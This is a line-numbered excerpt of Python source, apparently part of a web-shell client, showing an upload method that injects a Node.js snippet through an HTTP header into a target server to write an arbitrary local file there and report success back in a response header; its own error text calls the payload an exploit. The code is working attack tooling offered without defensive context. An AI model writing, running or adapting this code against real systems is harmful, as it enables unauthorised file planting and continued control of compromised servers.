(self, options: str)
| 226 | @brief See base class for details. |
| 227 | """ |
| 228 | def _Base__upload(self, options: str): |
| 229 | if len(options) == 0: |
| 230 | raise CommandException("Specify a file to upload.") |
| 231 | local_file_path = Path(options) |
| 232 | if not local_file_path.exists(): |
| 233 | raise CommandException("File does not exist.") |
| 234 | if not local_file_path.is_file(): |
| 235 | raise CommandException("File is not a file.") |
| 236 | |
| 237 | url = f"{self.host}{self.path}" |
| 238 | if not self.host.startswith("http"): |
| 239 | url = "http://" + url |
| 240 | |
| 241 | try: |
| 242 | if (self.__file_exists(local_file_path.name)): |
| 243 | choice = input("Override existing file? [y/N] ") |
| 244 | if not choice.lower().startswith('y'): |
| 245 | return |
| 246 | |
| 247 | message = (f"process.chdir('{self.directory}');" |
| 248 | f"let body='';" |
| 249 | f"i.on('data',(c)=>{{body+=c;}});" |
| 250 | f"i.on('end',()=>{{" |
| 251 | f"fs.writeFile('{local_file_path.name}',body," |
| 252 | f"(err)=>{{" |
| 253 | f"if(err){{" |
| 254 | f"r.setHeader('{self.header}','Fail.');" |
| 255 | f"}}else{{" |
| 256 | f"r.setHeader('{self.header}','Done.');" |
| 257 | f"}}" |
| 258 | f"r.end();" |
| 259 | f"}});" |
| 260 | f"}});" |
| 261 | ) |
| 262 | print("Uploading file...") |
| 263 | binary = local_file_path.read_bytes() |
| 264 | |
| 265 | response = requests.request( |
| 266 | self.method, |
| 267 | url, |
| 268 | headers={ f"{self.header}": message }, |
| 269 | data=binary |
| 270 | ) |
| 271 | if not response.ok: |
| 272 | raise Exception() |
| 273 | if not self.header in response.headers: |
| 274 | raise CommandException( |
| 275 | f"No message sent back from server, your exploit is " |
| 276 | f"probably being filtered by a firewall.") |
| 277 | |
| 278 | print(response.headers[self.header]) |
| 279 | except: |
| 280 | raise CommandException(f"Could not upload file.") |
| 281 | |
| 282 | |
| 283 | """ |
nothing calls this directly
no test coverage detected